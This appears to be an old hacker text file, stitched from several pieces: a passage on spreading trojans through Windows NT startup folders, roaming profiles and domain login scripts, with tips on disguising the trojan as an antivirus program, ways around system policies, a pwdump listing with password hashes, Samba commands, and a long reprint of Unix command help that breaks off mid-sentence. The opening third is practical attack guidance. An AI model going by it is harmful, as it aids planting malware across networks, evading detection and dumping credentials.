To execute a .exe, .com, .bat, or .cmd
C:\WINDOWS\COMMAND\START.EXE /m command.com /c trojan.bat
For those of you familiar with NetBus 1.6 this would be a good way of launching
patch.exe
Patch.exe is the client portion of this popular remote control trojan.
NOTE: Back Orifice currently does not run under the Windows NT environment.
To add an entry to the registry
C:\WINDOWS\COMMAND\START.EXE /m command.com /c trojan.reg
Where trojan.reg looks similar to the example notepad.reg shown above.
This evil shortcut can be propagated throughout NT domains through Profiles. Use
START.EXE to cause a wide variety of commands / executables to be launched.
START ["title"] [/Dpath] [/I] [/MIN] [/MAX] [/SEPARATE | /SHARED]
[/LOW | /NORMAL | /HIGH | /REALTIME] [/WAIT] [/B] [command/program]
[parameters]
"title"
Title to display in window title bar.
path
Starting directory
I
The new environment will be the original environment passed
to the cmd.exe and not the current environment.
MIN
Start window minimized
MAX
Start window maximized
SEPARATE
Start 16-bit Windows program in separate memory space
SHARED
Start 16-bit Windows program in shared memory space
LOW
Start application in the IDLE priority class
NORMAL
Start application in the NORMAL priority class
HIGH
Start application in the HIGH priority class
REALTIME
Start application in the REALTIME priority class
WAIT
Start application and wait for it to terminate
B
Start application without creating a new window. The
application has ^C handling ignored. Unless the application
enables ^C processing, ^Break is the only way to interrupt the
application
NOTE: /m is used to minimize the window another available option is /wait which will
cause the program to wait until the other program exits /B starts application without
creating new window. Play with these switches to get desired effect.
Starts a separate window to run a specified program or command.
start.exe and at.exe can be used in combination if the scheduler service is started.
Security hole within winnt\profiles and login scripts
Using the trojan building information above, trojans can be deseminated by
strategically placing .lnk shortcuts or modifying the login script.
A malicious executable file can be planted in:
C:\WINNT\Profiles\Default User\Start Menu\Programs\Startup
Any user logging in to the machine for the first time would inherit your malicious
shortcuts.
or
C:\WINNT\Profiles\userid of exiting user\Start Menu\Programs\Startup
would cause existing users to launch your malicious shortcuts on startup.
If roaming profiles are turned on, your malicious shortcut would follow the user as
they logged on from machine to machine. If you install these .lnk files on the primary
domain controller in the winnt\profiles\userid directory they would also pass
themselves down to
the workstation when the user logged in. If you are unable to install your trojan
in a roaming profile environment or the Primary Domain Controller the trojan would
not spread unless placed into the login script.
C:\WINNT\SYSTEM32\REPL\IMPORT\SCRIPTS
Is the location that login scripts (.CMD) files are stored. Malicious code can be
inserted into a new or existing login script. All users loging on to the machine would
execute this code.
Here are the default NTFS permissions:
C:\WINNT\PROFILES and C:\WINNT\SYSTEM32\REPL\IMPORT\SCRIPTS
Administrators
Full Control
Everyone
Read
System
Full Control
FAT Partitions have no file level security. New users logging into the system would
automatically execute this program everytime they login. If this is done on NT
Workstation the attack will only spread to new users logging into the workstation
locally. If this attack is performed on a NT domain controller it would spread
throughout the domain profiles.
Hiding Detection
Replace an existing startup program with trojan. Rename your trojan so that it is
not suspicious. Change the properties of the trojan's icon to look like the replaced
icon. An antivirus program would be a great choice, you could even launch the real,
renamed application after your trojan is loaded.
Workarounds for common sytsem policy restrictions:
System Policies are implemented to restrict the user from performing certain tasks.
Installing Printers:
If you do not have access to the printers folder from the Start/Settings/Printers
or from the My Computer Icon.Click Network Neighborhood. Double-Click on your
computername. The printers folder will be available. Open the folder and Double Click
on the Add-Printer Icon to start the Printer Installation Wizard.
Control Panel Restrictions:
If you do not have access to the Control Panel from Start/Settings/Control Panel or
from the My Computer Icon.Click Start/Help/Index (If you do not have help, you can
open
it
using
Explorer
or
My
Computer.
C:\winnt\System32\control.hlpSearch for Control Panel
All of the normally displayed icons appear as help topics.
Double-click
on
If you click on "Network" for example a Windows NT Help Screen appears with a nice
little shortcut to the Control Panel Network Settings. Printers can also be installed
using this method as well as the method mentioned above. Network options can also
be accessed by right clicking on Network Neighborhood and then selecting properties.
Missing Command Prompt:
Start NT Explorer change tgo c:\winnt\system32 Double click on COMMAND.COM a command
prompt will start. This is also well known, but included for thoroughness. Find Command
is gone from Start/Find or from within NT Explorer: To find a computer:If you have
a command prompt:
Net View <Enter> is like Network Neighborhood Net View \\COMPUTERName is like Double
Clicking on a computer within network neighborhood
Net use x: \\Computername\Sharename maps a drive letter to the share.
Finding a file is simple:dir filename.ext /sRun Command Missing:
This is rather obvious but I will include it as it is a valid system policy restriction.
Navigate your Hard Disk using My Computer, winfile or NT Explorer. Double-click on
the program you wish to run. Duh!
System Policies that I have NOT found a workaround for yet: If your display settings
are restricted in control panel. If registry editing has been disabled.
PWDUMP.EXE
When running pwdump.exe it is a good idea to echo the results to a file. Otherwise,
the results are just dumped to the screen.
pwdump >pwd.txt
NOTE: This is the pwdump from the webserver the Lan Manager password is set to
"password".
Administrator:500:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B75
86C:Built-in account for administering the computer/domain::
Guest:501:NO
PASSWORD*********************:Built-in
PASSWORD*********************:NO
account
for
guest
access
to
the
computer/domain::
STUDENT7$:1000:E318576ED428A1DEF4B21403EFDE40D0:1394CDD8783E60378EFEE40503127253
:::
ketan:1005:********************************:********************************:::
mari:1006:********************************:********************************:::
meng:1007:********************************:********************************:::
IUSR_STUDENT7:1014:582E6943331763A63BEC2B852B24C4D5:CBE9D641E74390AD9C1D0A962CE8
C24B:Internet Guest Account,Internet Server Anonymous Access::
Some SAMBA Commands:
smbmount is similar to the net use command.
usage: smbmount //server/service mount-point [options]
Version 2.0.2
-p port
Port to connect to (used only for testing)
-m max_xmit
max_xmit offered (used only for testing)
-s servername Netbios name of server
-c clientname Netbios name of client
-I machinename The hostname of the machine
-U username
Username sent to server
-D domain
Domain name
-u uid
uid the mounted files get
-g gid
gid the mounted files get
-f mode
permission the files get (octal notation)
-d mode
permission the dirs get (octal notation)
-C
Don't convert password to uppercase
-P password
Use this password
-n
Do not use any password
If neither -P nor -n are given, you are
asked for a password.
-h
print this help text
NMBLOOKUP is the equivalent of nbtstat.
Usage: nmblookup [-M] [-B bcast address] [-d debuglevel] name
Version 1.9.18p7
-d debuglevel
set the debuglevel
-B broadcast address the address to use for broadcasts
-U unicast
address the address to use for unicast
-M
searches for a master browser
-R
set recursion desired in packet
-S
lookup node status as well
-r
Use root port 137 (Win95 only replies to this)
-A
Do a node status on <name> as an IP Address
Here is an example of nmblookup results, similar to nbtstat of course.
No interface found for address 0.0.0.0
Sending queries to 0.255.255.255
Looking up status of 207.98.201.199
received 7 names
SATAN
<00> -
B <ACTIVE>
SATAN
<20> -
B <ACTIVE>
INet~Services
<1c> - <GROUP> B <ACTIVE>
WORKGROUP
<00> - <GROUP> B <ACTIVE>
IS~SATAN
<00> -
B <ACTIVE>
SATAN
<03> -
B <ACTIVE>
HAX0R
<03> -
B <ACTIVE>
num_good_sends=0 num_good_receives=0
Psychotic's Unix Bible Writen by Virtual Circuit
*
Psychotic's Unix Bible writen by Virtual Circuit. This document may not be changed
in any way. You may distribute this unix bible as much as you like, I wrote it as
a reference for the public and that's how I want it to remain. Any questions you have
regarding this text you may reach me at rhat@cts.com.
*
A list of commands and a quick description
alias
......... this allows the user view the current aliases
awk ............ this allows the user to search for a pattern within a file
bdiff .......... compares two large files
bfs ............ scans a large file
cal ............ shows a calendar
cat ............ concatenates and prints a file
cc ............. c compiler
cd ............. changes directories
chgrb .......... changes a file groups ownership
chmod .......... changes the permission on a file
chown .......... changes the individual ownership of a file
cmp ............ compairs two files
comm ........... compares two files so as to determine which lines are common to
both
cp ............. copies file to another location
cu ............. calls another unix sysytem
date ........... returns the date and time
df ............. shows all mounted drives on your machine
diff ........... displays the diference between two files
du ............. shows the disk usage in blocks for a directory
echo ........... echoes the data to the screen or file
ed ............. text editor
env ............ lists the current environment variables
ex ............. another text editor
expr ........... evaluates a mathmatical formula
find ........... finds a file
f77 ............ fortran complier
format ......... initializes a floppy disk
grep ........... searches for a pattern within a file
help ........... gives help
kill ........... stops a running process
ln ............. creates a link between two files
lpr ............ copies the file to the line printer
ls ............. lists the files in a directory
mail ........... allows the user to send/receive mail
mkdir .......... makes directory
more ........... displays a data file to the screen
mv ............. used to move or rename files
nohup .......... allows a command to continue running even when you log out
nroff .......... used to format text
passwd ......... changes your password
pkgadd ......... installs a new program onto your machine
ps ............. Lists the current processes running
pwd ............ displays the name of the working directory
rm ............. removes files
rmdir .......... removes directories
set ............ lists all the variables in the current shell
setenv ......... sets the environment variables
sleep .......... causes a process to become inactive
source ......... allows the user to execute a file and update any changed values
in that file
sort ........... sorts files
spell .......... checks for spelling errors in a file
split .......... divides a file
stty ........... sets the terminal options
tail ........... displays the end of a file
tar ............ copies all specified files into one
touch .......... creates an empty file or updates the time/date stamp on a file
troff .......... outputs formatted output
tset ........... sets the terminal type
umask .......... specify a new creation mask
uniq ........... compairs two files
uucp ........... unix to unix execute
vi ............. full screen editor
vipw ........... opens the vi editor as well as password file for editing
volcheck ....... checks to see if there is a floppy disk mounted to your machine
wc ............. displays detail in the full size
who ............ inf. on other people online
write .......... send a message to another user
! .............. repeats commands
More commands with a better description (Not all commands are listed):
cat: -b, --number-nonblank
Number all nonblank output lines, starting with 1.
-e
Equivalent to -vE.
-n, --number
Number all output lines, starting with 1.
-s, --squeeze-blank
Replace multiple adjacent blank lines with a single blank line.
-t
Equivalent to -vT.
-u
Ignored; for Unix compatibility.
-v, --show-nonprinting
Display control characters except for LFD and TAB using `^' notation and
characters that have the high bit set with `M-'.
-A, --show-all
Equivalent to -vET.
-E, --show-ends
Display a `$' after the end of each line.
-T, --show-tabs
Display TAB characters as `^I'.
--help
Print a usage message and exit with a status code indicating success.
--version
precede
Print version information on standard output then exit.
cd: directory becomes the new working directory. The process must have execute
(search) permission in directory. If cd is used without arguments, it returns you
to your login directory. In csh you may specify a list of directories in which directory
is to be sought as a subdirectory if it is not a subdirectory of the current directory;
see the description of the cdpath variable in csh.
chmod: The format of a symbolic mode is `[ugoa...][[+=][rwxXstugo...]...][,...]'.
Multiple symbolic operations can be given, separated by commas.
A combination of the letters `ugoa' controls which users' access to the file will
be changed: the user who owns it (u), other users in the file's group (g), other users
not in the file's group (o), or all users (a). If none of these are given, the effect
is as if `a' were given, but bits that are set in the umask are
not affected.
The operator `+' causes the permissions selected to be added to the existing
permissions of each file; `-' causes them to be removed; and `=' causes them to be
the only permissions that the file has.
The letters `rwxXstugo' select the new permissions for the affected users: read (r),
write (w), execute (or access for directories) (x), execute only if the file is a
directory or already has execute permission for some user (X), set user or group ID
on execution (s), save program text on swap device (t), the permissions that the user
who owns the file currently has for it (u), the permissions that other users in the
file's group have for it (g), and the permissions that other users not in the file's
group have for it (o).
A numeric mode is from one to four octal digits (0-7), derived by adding up the bits
with values 4, 2, and 1. Any omitted digits are assumed to be leading zeros. The first
digit selects the set user ID (4) and set group ID (2) and save text image (1) attributes.
The second digit selects permissions for the user who owns the file: read (4), write
(2), and execute (1); the third selects permissions for
other users in the file's group, with the same values; and the fourth for other users
not in the file's group, with the same values.
chmod never changes the permissions of symbolic links; the chmod system call cannot
change their permissions. This is not a problem since the permissions of symbolic
links are never used. However, for each symbolic link listed on the command line,
chmod changes the permissions of the pointed to file. In contrast, chmod ignores
symbolic links encountered during recursive directory traversals.
OPTIONS
-c, --changes
Verbosely describe only files whose permissions actually change.
-f, --silent, --quiet
Do not print error messages about files whose permissions cannot be changed.
-v, --verbose
Verbosely describe changed permissions.
-R, --recursive
Recursively change permissions of directories and their contents.
--help
Print a usage message on standard output and exit successfully.
--version
Print version information on standard output then exit successfully.
clear: clear clears your screen if this is possible. It looks in the environment for
the terminal type and then in /etc/termcap to figure out how to clear the screen.
date: This manual page documents the GNU version of date. date with no arguments prints
the current time and date (in the format of the `%c' directive described below). If
given an argument that starts with a `+', it prints the current time and date in a
format controlled by that argument, which has the same format as the format string
passed to the `strftime' function. Except for directives that start with `%',
characters in that string are printed unchanged.
The directives are:
%
a literal %
n
a newline
t
a horizontal tab
Time fields:
%H
hour (00..23)
%I
hour (01..12)
%k
hour ( 0..23)
%l
hour ( 1..12)
%M
minute (00..59)
%p
locale's AM or PM
%r
time, 12-hour (hh:mm:ss [AP]M)
%s
seconds since 1970-01-01 00:00:00 UTC (a nonstandard extension)
%S
second (00..61)
%T
time, 24-hour (hh:mm:ss)
%X
locale's time representation (%H:%M:%S)
%Z
time zone (e.g., EDT), or nothing if no time zone is determinable
Date fields:
%a
locale's abbreviated weekday name (Sun..Sat)
%A
locale's full weekday name, variable length (Sunday..Saturday)
%b
locale's abbreviated month name (Jan..Dec)
%B
locale's full month name, variable length (January..December)
%c
locale's date and time (Sat Nov 04 12:02:33 EST 1989)
%d
day of month (01..31)
%D
date (mm/dd/yy)
%h
same as %b
%j
day of year (001..366)
%m
month (01..12)
%U week number of year with Sunday as first day of week (00..53)
%w
day of week (0..6) with 0 corresponding to Sunday
%W
week number of year with Monday as first day of week (00..53)
%x
locale's date representation (mm/dd/yy)
%y
last two digits of year (00..99)
%Y
year (1970...)
By default, date pads numeric fields with zeroes. GNU date recognizes the following
nonstandard numeric modifiers:
(hyphen) do not pad the field
_
(underscore) pad the field with spaces
If given an argument that does not start with `+', date sets the system clock to the
time and date specified by that argument. The argument must consist entirely of digits,
which have the following meaning:
MM
month
DD
day within month
hh
hour
mm
minute
CC
first two digits of year (optional)
YY
last two digits of year (optional)
ss
second (optional)
Only the superuser can set the system clock.
OPTIONS
-d datestr, --date datestr
Display the time and date specified in datestr, which can be in almost any common
format. The display is in the default output format, or if an argument starting with
`+' is given to date, in the format specified by that argument.
--help
Print a usage message on standard output and exit successfully.
-s datestr, --set datestr
Set the time and date to datestr, which can be in almost any common format. It can
contain month names, timezones, `am' and `pm', etc.
-u, --universal
Print or set the time and date in Coordinated Universal Time (also known as Greenwich
Mean Time) instead of in local (wall clock) time.
--version
Print version information on standard output then exit successfully.
find: find recursively descends the directory hierarchy for each pathname in the
pathname-list, seeking files that match a logical expression written using the
operators listed below.
find does not follow symbolic links to other files or directories; it applies the
selection criteria to the symbolic links themselves, as if they were ordinary files
(see ln(1V) for a description of symbolic links).
If the fast-find feature is enabled, find displays pathnames in which a filename
component occurs.
USAGE
Operators
In the descriptions, the argument n is used as a decimal integer where +n means more
than n, -n means less than n, and n means exactly n.
-fstype type
True if the filesystem to which the file belongs is of type type, where type is
typically 4.2 or nfs.
-name filename True if the
filename argument matches the current file name. Shell argument syntax can be used
if escaped (watch out for [, ? and *).
-perm onum
True if the file permission flags exactly match the octal number onum (see chmod(1V)).
If onum is prefixed by a minus sign, more flag bits (017777, see chmod(1V)) become
significant and the flags are compared: (flags&onum)==onum.
-prune
Always yields true. Has the side effect of pruning the search tree at the file. That
is, if the current path name is a directory, find will not descend into that directory.
-type c
True if the type of the file is c, where c is one of:
b
for block special file c
c
for character special file
d
for directory
f
for plain file
p
for named pipe (FIFO)
l
for symbolic link
s
for socket
-links n
True if the file has n links.
-user uname
True if the file belongs to the user uname. If uname is numeric and does not appear
as a login name in the /etc/passwd database, it is taken as a user ID.
-nouser
True if the file belongs to a user not in the /etc/passwd database.
-group gname
True if the file belongs to group gname. If gname is numeric and does not appear as
a login name in the /etc/group database, it is taken as a group ID.
-nogroup
True if the file belongs to a group not in the /etc/group database.
-size n
True if the file is n blocks long (512 bytes per block). If n is followed by a c,
the size is in characters.
-inum n
True if the file has inode number n.
-atime n
True if the file has been accessed in n days. Note: the access time of directories
in path-name-list is changed by find itself.
-mtime n
True if the file has been modified in n days.
-ctime n
True if the file has been changed in n days. "Changed" means either that the file
has been modified or some attribute of the file (its owner, its group, the number
of links to it, etc.) has been changed.
-exec command
True if the executed command returns a zero value as exit status. The end of command
must be punctuated by an escaped semicolon. A command argument {} is replaced by the
current pathname.
-ok command
Like -exec except that the generated command is written on the standard output, then
the standard input is read and the command executed only upon response y.
-print
Always true; the current pathname is printed.
-ls
Always true; prints current pathname together with its associated statistics. These
include (respectively) inode number, size in kilobytes (1024 bytes), protection mode,
number of hard links, user, group, size in bytes, and modification time. If the file
is a special file the size field will instead contain the major and minor device numbers.
If the file is a symbolic link the pathname of the linked-to file is printed preceded
by `->'. The format is identical to that of ls -gilds (see ls(1V)). Note: formatting
is done internally, without executing the ls program.
-cpio device
Always true; write the current file on device in cpio(5) format (5120-byte records).
-ncpio device
Always true; write the current file on device in cpio -c format (5120-byte records).
-newer file
True if the current file has been modified more recently than the argument filename.
-xdev
Always true; find does not traverse down into a file system different from the one
on which current argument pathname resides.
-depth
Always true; find descends the directory hierarchy, acting on the entries in a
directory before acting on the directory itself. This can be useful when find is used
with cpio to transfer files that are contained in directories without write
permission.
(expression)
True if the parenthesized expression is true. Note: Parentheses are special to the
shell and must be escaped.
!primary
True if the primary is false (! is the unary not operator).
primary1 [ -a ] primary2
True if both primary1 and primary2 are true. The -a is not required. It is implied
by the juxtaposition of two primaries.
primary1 -o primary2
True if either primary1 or primary2 is true (-o is the or operator).
Fast-Find
The fast-find feature is enabled by the presence of the find.codes database in
/usr/lib/find. You must be root to build or update this database by running the
updatedb script in that same directory. You may wish to modify the updatedb script
to suit your needs.
An alternate database can be specified by setting the FCODES environment variable.
cp: cp copies the contents of filename1 onto filename2. The mode and owner of filename2
are preserved if it already existed; the mode of the source file is used otherwise.
If filename1 is a symbolic link, or a duplicate hard link, the contents of the file
that the link refers to are copied; links
are not preserved.
In the second form, cp recursively copies directory1, along with its contents and
subdirectories, to directory2. If directory2 does not exist, cp creates it and
duplicates the files and subdirectories of directory1 within it. If direc_tory2 does
exist, cp makes a copy of the directory1 directory within directory2 (as a
subdirectory), along with its files and subdirectories.
In the third form, each filename is copied to the indicated directory; the basename
of the copy corresponds to that of the original. The destination directory must already
exist for the copy to succeed.
cp refuses to copy a file onto itself.
finger: By default, finger displays information about each logged-in user, including
his or her: login name, full name, terminal name (prepended with a `*' if
write-permission is denied), idle time, login time, and location (comment field in
/etc/ttytab for users logged in locally, hostname for users logged in
remotely) if known.
Idle time is minutes if it is a single integer, hours and minutes if a `:' is present,
or days and hours if a d is present.
When one or more name arguments are given, more detailed information is given for
each name specified, whether they are logged in or not. A name may be a first or last
name, or an account name. Information is presented in a multiline format, and includes,
in addition to the information mentioned above: the user's home directory and login
shell the time they logged in if they are currently logged in, or the time they last
logged in if they are not, as well as the terminal or host from which they logged
in and, if a terminal, the comment field in /etc/ttytab for that terminal the last
time they received mail, and the last time they read their mail any plan contained
in the file .plan in the user's home directory and any project on which they are working
described in the file .project (also in that directory)
If a name argument contains an at-sign, `@', then a connection is attempted to the
machine named after the at-sign, and the remote finger daemon is queried. The data
returned by that daemon is printed. If a long format printout is to be produced, finger
passes the -l option to the remote finger daemon over the network using the /W feature
of the protocol (see NAME/FINGER Protocol).
grep: Grep searches the named input files (or standard input if no files are named,
or the file name - is given) for lines containing a match to the given pattern. By
default, grep prints the matching lines.
There are three major variants of grep, controlled by the following options.
-G Interpret pattern as a basic regular expression (see below). This is the default.
-E Interpret pattern as an extended regular expression (see below).
-F
Interpret pattern as a list of fixed strings, separated by newlines, any of which
is to be matched. In addition, two variant programs egrep and fgrep are available.
Egrep is similiar (but not identical) to grep -E, and is compatible with the historical
Unix egrep. Fgrep is the same as grep -F.
All variants of grep understand the following options: -num Matches will be printed
with num lines of leading and trailing context. However, grep will never print any
given line more than once.
-A num
Print num lines of trailing context after matching lines.
-B num
Print num lines of leading context before matching lines.
-C
Equivalent to -2. -V Print the version number of grep to standard error. This version
number should be included in all bug reports (see below).
-b
Print the byte offset within the input file before each line of output.
-c
Suppress normal output; instead print a count of matching lines for each input file.
With the -v option (see below), count non-matching lines. -e pattern Use pattern as
the pattern; useful to protect patterns beginning with -. -f file Obtain the pattern
from file.
-h
Suppress the prefixing of filenames on output when multiple files are searched.
-i
Ignore case distinctions in both the pattern and the input files. -L
Suppress
normal output; instead print the name of each input file from
would normally have been printed. -l Suppress normal
which no output
output; instead print the
name of each input file from which output would normally have been printed. -n Prefix
each line of output with the line number within its input file.
-q
Quiet; suppress normal output.
-s
Suppress error messages about nonexistent or unreadable files. -v Invert the sense
of matching, to select non-matching lines. -w Select only those lines containing
matches that form whole words. The test is that the matching substring must either
be at the beginning of the line, or preceded by a non-word constituent character.
Similarly, it must be either at the end of the line or followed by a non-word
constituent character. Word-constituent characters are letters, digits, and the
underscore. -x Select only those matches that exactly match the whole line.
kill: kill sends the TERM (terminate, 15) signal to the processes with the specified
pids. If a signal name or number preceded by `-' is given as first argument, that
signal is sent instead of terminate. The signal names are listed by using the -l option,
and are as given in <signal.h>, stripped of the common
SIG prefix.
The terminate signal will kill processes that do not catch the signal, so `kill -9 ...'
is a sure kill, as the KILL (9) signal cannot be caught. By convention, if process
number 0 is specified, all members in the process group (that is, processes resulting
from the current login) are signaled (but beware: this
works only if you use sh(1); not if you use csh(1).) Negative process numbers also
have special meanings; see kill(2V) for details. The killed processes must belong
to the current user unless he is the super-user.
To shut the system down and bring it up single user the super-user may send the
initialization process a TERM (terminate) signal by `kill 1'; see init(8). To force
init to close and open terminals according to what is currently in /etc/ttytab use
`kill -HUP 1' (sending a hangup signal to process 1).
The shell reports the process number of an asynchronous process started with `&' (run
in the background). Process numbers can also be found by using ps(1).
kill is built in to csh(1); it allows job specifiers, such as `kill % ...', in place
of kill arguments. See csh(1) for details.
less: Less is a program similar to more (1), but which allows backwards movement in
the file as well as forward movement. Also, less does not have to read the entire
input file before starting, so with large input files it starts up faster than text
editors like vi (1). Less uses termcap (or terminfo on some systems), so it can run
on a variety of terminals. There is even limited support for hardcopy terminals. (On
a hardcopy terminal, lines which should be printed at the top of the screen are prefixed
with an uparrow.)
Commands are based on both more and vi. Commands may be preceeded by a decimal number,
called N in the descriptions below. The number is used by some commands, as indicated.
In the following descriptions, ^X means control-X. ESC stands for the ESCAPE key;
for example ESC-v means the two character sequence "ESCAPE", then "v".
H
Help: display a summary of these commands. If you forget all the other
commands, remember this one.
SPACE or f or ^F or ^V
Scroll forward N lines, default one window (see option -z below). If N is more than
the screen size, only the final screenful is displayed. Warning: some systems use
^V as a special literalization character.
b or ^B or ESC-v
Scroll backward N lines, default one window (see option -z below). If N is more than
the screen size, only the final screenful is displayed.
RETURN or ^N or e or ^E or j or ^J
Scroll forward N lines, default 1. The entire N lines are displayed, even if N is
more than the screen size.
y or ^Y or ^P or k or ^K
Scroll backward N lines, default 1. The entire N lines are displayed, even if N is
more than the screen size. Warning: some systems use ^Y as a special job control
character.
d or ^D
Scroll forward N lines, default one half of the screen size. If N is specified, it
becomes the new default for subsequent d and u commands.
u or ^U
Scroll backward N lines, default one half of the screen size. If N is specified, it
becomes the new default for subsequent d and u commands.
r or ^R or ^L
Repaint the screen.
R
Repaint the screen, discarding any buffered input. Useful if the file is changing
while it is being viewed.
g or < or ESC-<
Go to line N in the file, default 1 (beginning of file). (Warning: this may be slow
if N is large.)
G or > or ESC->
Go to line N in the file, default the end of the file. (Warning: this may be slow
if N is large, or if N is not specified and standard input, rather than a file, is
being read.)
p or %
Go to a position N percent into the file. N should be between 0 and 100. (This works
if standard input is being read, but only if less has already read to the end of the
file. It is always fast, but not always useful.)
m
Followed by any lowercase letter, marks the current position with that letter.
`
(Single quote.) Followed by any lowercase letter, returns to the position which was
previously marked with that letter. Followed by another single quote, returns to the
postion at which the last "large" movement command was executed. All marks are lost
when a new file is examined.
^X^X Same as single quote.
/pattern
Search forward in the file for the N-th line containing the pattern. N defaults to
1. The pattern is a regular expression, as recognized by ed. The search starts at
the second line displayed (but see the -a option, which changes this).
?pattern
Search backward in the file for the N-th line containing the pattern. The search starts
at the line immediately before the top line displayed.
/!pattern
Like /, but the search is for the N-th line which does NOT contain the pattern.
?!pattern
Like ?, but the search is for the N-th line which does NOT contain the pattern.
n
Repeat previous search, for N-th line containing the last pattern (or NOT containing
the last pattern, if the previous search was /! or ?!).
E [filename]
Examine a new file. If the filename is missing, the "current" file (see the N and
P commands below) from the list of files in the command line is re-examined. If the
filename is a pound sign (#), the previously examined file is re-examined.
^X^V or :e
Same as E. Warning: some systems use ^V as a special literalization character.
N or :n
Examine the next file (from the list of files given in the command line). If a number
N is specified (not to be confused with the command N), the N-th next file is examined.
P or :p
Examine the previous file. If a number N is specified, the N-th previous file is
examined.
= or ^G
Prints some information about the file being viewed, including its name and the line
number and byte offset of the bottom line being displayed. If possible, it also prints
the length of the file and the percent of the file above the last displayed line.
Followed by one of the command line option letters (see below), this will change the
setting of that option and print a message describing the new setting. If the option
letter has a numeric value (such as -b or -h), or a string value (such as -P or -t),
a new value may be entered after the option letter.
_
(Underscore.) Followed by one of the command line option letters (see below), this
will print a message describing the current setting of that option. The setting of
the option is not changed.
+cmd
Causes the specified cmd to be executed each time a new file is examined. For example,
+G causes less to initially display each file starting at the end
rather than the beginning.
V
Prints the version number of less being run.
q or :q or ZZ
Exits less.
The following two commands may or may not be valid, depending on your particular
installation.
v
Invokes an editor to edit the current file being viewed. The editor is taken from
the environment variable EDITOR, or defaults to "vi".
! shell-command
Invokes a shell to run the shell-command given. A percent sign in the command is
replaced by the name of the current file. "!!" repeats the last shell command. "!"
with no shell command simply invokes a shell. In all cases, the shell is taken from
the environment variable SHELL, or defaults to "sh". logout: Built-in commands are
executed within the C shell. If a built-in command occurs as any component of a pipeline
except the last, it is executed in a subshell.
:
Null command. This command is interpreted, but performs no action.
alias [ name [ def ] ]
Assign def to the alias name. def is a list of words that may contain escaped history
substitution metasyntax. name is not allowed to be alias or unalias. If def is omitted,
the alias name is displayed along with its current definition. If both name and def
are omitted, all aliases are displayed.
bg [%job] ...
Run the current or specified jobs in the background.
break
Resume execution after the end of the nearest enclosing foreach or while loop. The
remaining commands on the current line are executed. This allows multilevel breaks
to be written as a list of break commands, all on one line.
breaksw
Break from a switch, resuming after the endsw.
case label:
A label in a switch statement.
cd [ dir ]
chdir [ dir ]
Change the shell's working directory to directory dir. If no argument is given, change
to the home directory of the user. If dir is a relative pathname not found in the
current directory, check for it in those directories listed in the cdpath variable.
If dir is the name of a shell variable whose value starts with a /, change to the
directory named by that value.
continue Continue execution of the nearest enclosing while or foreach.
default: Labels the default case in a switch statement. The default should come after
all case labels. Any remaining commands on the command line are first executed.
dirs [ -l ]
Print the directory stack, most recent to the left; the first directory shown is the
current directory. With the -l argument, produce an unabbreviated printout; use of
the ~ notation is suppressed.
echo [ -n ] list
The words in list are written to the shell's standard output, separated by SPACE
characters. The output is terminated with a NEWLINE unless the -n option is used.
eval argument ...
Reads the arguments as input to the shell, and executes the resulting command(s).
This is usually used to execute commands generated as the result of command or variable
substitution, since parsing occurs before these substitutions. See tset(1) for an
example of how to use eval.
exec command
Execute command in place of the current shell, which terminates.
exit [ (expr) ]
The shell exits, either with the value of the status variable, or with the value of
the specified by the expression expr.
fg % [ job ]
Bring the current or specified job into the foreground.
foreach var (wordlist)
...
end
The variable var is successively set to each member of wordlist. The sequence of
commands between this command and the matching end is executed for each new value
of var. (Both foreach and end must appear alone on separate lines.)
The built-in command continue may be used to continue the loop prematurely and the
built-in command break to terminate it prematurely. When this command is read from
the terminal, the loop is read up once prompting with ? before any statements in the
loop are executed.
glob wordlist
Perform filename expansion on wordlist. Like echo, but no \ escapes are recognized.
Words are delimited by null characters in the output.
goto label
The specified label is filename and command expanded to yield a label. The shell
rewinds its input as much as possible and searches for a line of the form label:
possibly preceded by SPACE or TAB characters. Execution continues after the indicated
line. It is an error to jump to a label that occurs between a while or for built-in,
and its corresponding end.
hashstat Print a statistics line indicating how effective the internal hash table
has been at locating commands (and avoiding execs). An exec is attempted for each
component of the path where the hash function indicates a possible hit, and in each
component that does not begin with a `/'.
history [ -hr ] [ n ]
Display the history list; if n is given, display only the n most recent events.
-r
Reverse the order of printout to be most recent first rather than oldest first. -h
Display the history list without leading numbers. This is used to produce files
suitable for sourcing using the -h option to source.
if (expr) command
If the specified expression evaluates to true, the single command with arguments is
executed. Variable substitution on command happens early, at the same time it does
for the rest of the if command. command must be a simple command, not a pipeline,
a command list, or a parenthesized command list. Note: I/O redirection occurs even
if expr is false, when command is not executed (this is a bug).
if (expr) then
...
else if (expr2) then ...
else
...
endif
If expr is true, commands up to the first else are executed. Otherwise, if expr2 is
true, the commands between the else if and the second else are executed. Otherwise,
commands between the else and the endif are executed. Any number of else if pairs
are allowed, but only one else. Only one endif is needed, but it is required. The
words else and endif must be the first non-white characters on a line. The if must
appear alone on its input line or after an else.)
jobs[ -l ]
List the active jobs under job control.
-l
List process IDs, in addition to the normal information.
kill [ -sig ] [ pid ] [ %job ] ...
kill -l Send the TERM (terminate) signal, by default, or the signal specified, to
the specified process ID, the job indicated, or the current job. Signals are either
given by number or by name. There is no default. Typing kill does not send a signal
to the current job. If the signal being sent is TERM (terminate) or HUP (hangup),
then the job or process is sent a CONT (continue) signal as well.
-l
List the signal names that can be sent.
limit [ -h ] [ resource [ max-use ] ] Limit the consumption by the current process
or any process it spawns, each not to exceed max-use on the specified resource. If
max-use is omitted, print the current limit; if resource is omitted, display all
limits.
-h
Use hard limits instead of the current limits. Hard limits impose a ceiling
on the values of the current limits. Only the super-user may raise the hard
limits.
resource is one of:
cputime
Maximum CPU seconds per process.
filesize
Largest single file allowed.
datasize
Maximum data size (including stack) for the process.
stacksize
Maximum stack size for the
process.
coredumpsize Maximum size of a core dump (file).
descriptors Maximum value for a file descriptor.
max-use is a number, with an optional scaling factor, as follows:
nh
Hours (for cputime).
nk
n kilobytes. This is the default for all but cputime.
nm
n megabytes or minutes (for cputime).
mm:ss
Minutes and seconds (for cputime).
login [ username|-p ]
Terminate a login shell and invoke login(1). The .logout file is not processed. If
username is omitted, login prompts for the name of a user.
-p
Preserve the current environment (variables).
logout
Terminate a login shell.
nice [ +n|-n ] [ command ]
Increment the process priority value for the shell or for command by n. The higher
the priority value, the lower the priority of a process, and the slower it runs. When
given, command is always run in a subshell, and the restrictions placed on commands
in simple if commands apply. If command is omitted, nice increments the value for
the current shell. If no increment is specified, nice
sets the nice value to 4. The range of nice values is from -20 through 19. Values
